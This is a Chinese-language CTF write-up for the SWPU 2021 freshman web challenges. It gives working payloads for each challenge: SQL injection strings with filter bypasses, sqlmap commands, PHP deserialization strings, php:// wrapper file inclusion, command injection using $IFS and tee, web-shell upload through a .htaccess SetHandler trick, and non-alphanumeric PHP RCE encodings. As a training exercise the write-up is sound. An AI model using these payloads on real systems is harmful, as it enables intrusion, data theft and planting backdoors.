SWPU新生赛2021 Web部分WriteUp
第一波放题
gift_F12
直接F12之后搜flag
WLLMCTF{We1c0me_t0_WLLMCTF_Th1s_1s_th3_G1ft}
caidao
基操题，就不用菜刀，蚁剑直接连，密码wllm，地址就访问的地址，进去在根目录找到flag
jicao
搜一下json就会了，我开始其实也不会…我开始get了一个{“json”:“wllm”}
。。。
get:?json={“x”:“wllm”}
post:id=wllmNB
Do_you_know_http
浏览器WLLM，改User-Agent为WLLM
You can only read this at local!
XFF 127.0.0.1
X-Forwarded-For: 127.0.0.1
相应头里得到flag的位置
Location: ./secretttt.php
访问即可
easy_md5
数组绕过，原理百度
get:?name[]=0
post:password[]=1
easy_sql
union联合注入，百度一篇就行
https://blog.csdn.net/kingdring/article/details/109685593
第一步：
id=1’ order by 1 --+
id=1’ order by 2 --+
id=1’ order by 3 --+
id=1’ order by 4 --+
?wllm=1’ order by 3 --+
发现一共3列
第二步：
?wllm=-1’ union select 1,database(),3 --+
库名test_db
第三步：
?wllm=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘test_db’ --+
表名test_tb
第四步：
?wllm=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘test_db’ and table_name=‘test_tb’ --+
字段名flag
第五步：
?wllm=-1’ union select 1,database(),flag from test_tb --+
easyupload1.0
文件上传，可以传图片，而且发现只需要Content-Type: image/jpeg即可
直接传马
蚁剑连
http://1.14.71.254:28024/upload/backup.php
密码mumuzi
但是/var/www/html/flag.php下的flag.php是假的，真的在环境变量，直接看env
写个php就行，随便修改一个源码为
第二波放题
easyupload2.0
和1.0一样，只不过不支持php，用phtml就行了
这次flag就在/var/www/html/flag.php下了
easyrce
直接用
url=system(‘ls /’);发现flllllaaaaaaggggggg
然后url=system(‘cat /flllllaaaaaaggggggg’);即可
babyrce
传一个cookie，为admin=1即可
发现rasalghul.php
然后是命令执行，绕空格，用pwn1的方法即可
rasalghul.php?url=ls$IFS$1/ 发现flllllaaaaaaggggggg
然后rasalghul.php?url=cat$IFS$1/flllllaaaaaaggggggg即可
ez_unserialize
我是真不会反序列化，临时看的
http://www.manongjc.com/detail/17-iffyxbsaebsmupt.html
看一下就会了
源码User-agent: *
Disallow: 什么东西呢？提示robots.txt
发现/cl45s.php
然后跟着上面那篇稍微学学即可
cl45s.php?p=O:4:“wllm”:2:{s:5:“admin”;s:5:“admin”;s:6:“passwd”;s:3:“ctf”;}
include
基操基操
文件包含，php://伪协议
?file=php://filter/convert.base64-encode/resource=flag.php
base64解码即可
error
报错注入，之前union联合注入比较方便就手注，这个太长懒得手动，直接上sqlmap
sqlmap -u “http://1.14.71.254:28188/index.php?id=1” --dbs
sqlmap -u “http://1.14.71.254:28188/index.php?id=1” -D test_db --tables
sqlmap -u “http://1.14.71.254:28188/index.php?id=1” -D test_db -T test_tb --columns
sqlmap -u “http://1.14.71.254:28188/index.php?id=1” -D test_db -T test_tb -C flag --dump
完事
no_wakeup
不要wakeup，当然反序列化还是不会，找到这篇
https://www.cnblogs.com/Mrsm1th/p/6835592.html
这里需要传admin和passwd，2个
那我们就输入3
payload：
O:6:“HaHaHa”:3:{s:5:“admin”;s:5:“admin”;s:6:“passwd”;s:4:“wllm”;}
第三波放题
easyupload3.0
首先弄个报错出来，随便弄一下，比如弄出一个not found页面，发现是Apache/2.4.7 (Ubuntu) ，既然是 Apache，于是就利用.htaccess来getshell
php.ini是php的一个全局配置文件，对整个web服务起作用；而.user.ini和.htaccess一样是目录的配置文件。
这里中间件是Apache，于是用.htaccess，里面写入
SetHandler application/x-httpd-php
意思是，上传的文件名字含mu的都会被解析成php，上传这个.htaccess之后，再上传一个jpg图片，名字是mumu.jpg。最后蚁剑
url/upload/mumu.jpg,密码自己设的
flag在/var/www/html/flag.php下
finalrce
命令执行部分好绕，但是这里并不回显，而且不让用nc和bash，我就反弹不了了，这里还有的思路就是将执行的命令结果写到文件中，访问文件查看内容。
直接百度
linux将输出结果写入文件有哪些方法
你会发现这篇博客
然后会发现command | tee file.txt
直接
url=l\s / | tee 1.txt
会发现flllllaaaaaaggggggg
然后
url=tac /flllll\aaaaaaggggggg | tee 2.txt
访问2.txt即可
hardrce
无字母，不能用^符号，于是采用~来getshell
yu博客https://blog.csdn.net/miuzzx/article/details/109143413
其中可以看到system是(~%8C%86%8C%8B%9A%92)
剩下自己想要什么一个小脚本就搞定
s = "ls"
for i in range(len(s)):
print('%'+str(hex((255)-ord(s[i]))[2:]),end='')
s里面想用什么就输入什么
首先system(ls /);
?wllm=~(~%8C%86%8C%8B%9A%92)(~%93%8c%df%d0);
发现flllllaaaaaaggggggg
然后tac /flllllaaaaaaggggggg即可
?wllm=~(~%8C%86%8C%8B%9A%92)(~%8b%9e%9c%df%d0%99%93%93%93%93%93%9e%9e%9e%9e%9e%9e%98%98%98%98%98%98%98);
PseudoProtocols
读hint.php内容，用php://伪协议
?wllm=php://filter/read=convert.base64-encode/resource=hint.php
得到
//go to /test2222222222222.php
?>
第二关我是直接搜CTF file_get_contents，就搜到
① 将url中添加?file=php://input
② 添加post的内容 xxx
于是用bp发包
sql
过滤了空格、+、=、right、and等，空格可以用/**/代替，等号可以用like代替，然后过滤了注释符。
还是用正常的语句，只不过需要替代
-1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()/**/having/**/'1'/**/like/**/'1
得到LTLT_flag
然后查字段
-1'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/having/**/'1'/**/like/**/'1
最后查flag
-1'/**/union/**/select/**/1,database(),flag/**/from/**/LTLT_flag/**/having/**/'1'/**/like/**/'1
但是这里只能看到前面部分，然后禁了right函数，因此用mid函数
-1'/**/union/**/select/**/1,database(),mid(flag,1,40)/**/from/**/LTLT_flag/**/having/**/'1'/**/like/**/'1
-1'/**/union/**/select/**/1,database(),mid(flag,15,40)/**/from/**/LTLT_flag/**/having/**/'1'/**/like/**/'1
-1'/**/union/**/select/**/1,database(),mid(flag,25,40)/**/from/**/LTLT_flag/**/having/**/'1'/**/like/**/'1
第四波放题
hardrce_3
还是羽师傅博客，羽师傅博客直接封神
https://blog.csdn.net/miuzzx/article/details/109143413
自增那个。使用时需要url编码下
即：
%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B%27%21%27%3D%3D%27%40%27%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D%27_%27%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___%28%24_%5B_%5D%29%3B
然后get一个wllm=上面的
post一个phpinfo();，发现system,exec,shell_exec,popen,proc_open,passthru被禁用
但是可以用这个写一个马进去然后连上去。
file_put_contents(),写入内容到文件中，第一个参数是文件名，第二个参数是内容
_=file_put_contents(‘1.php’,’’);
然后蚁剑访问/1.php，密码aaa。连上去即可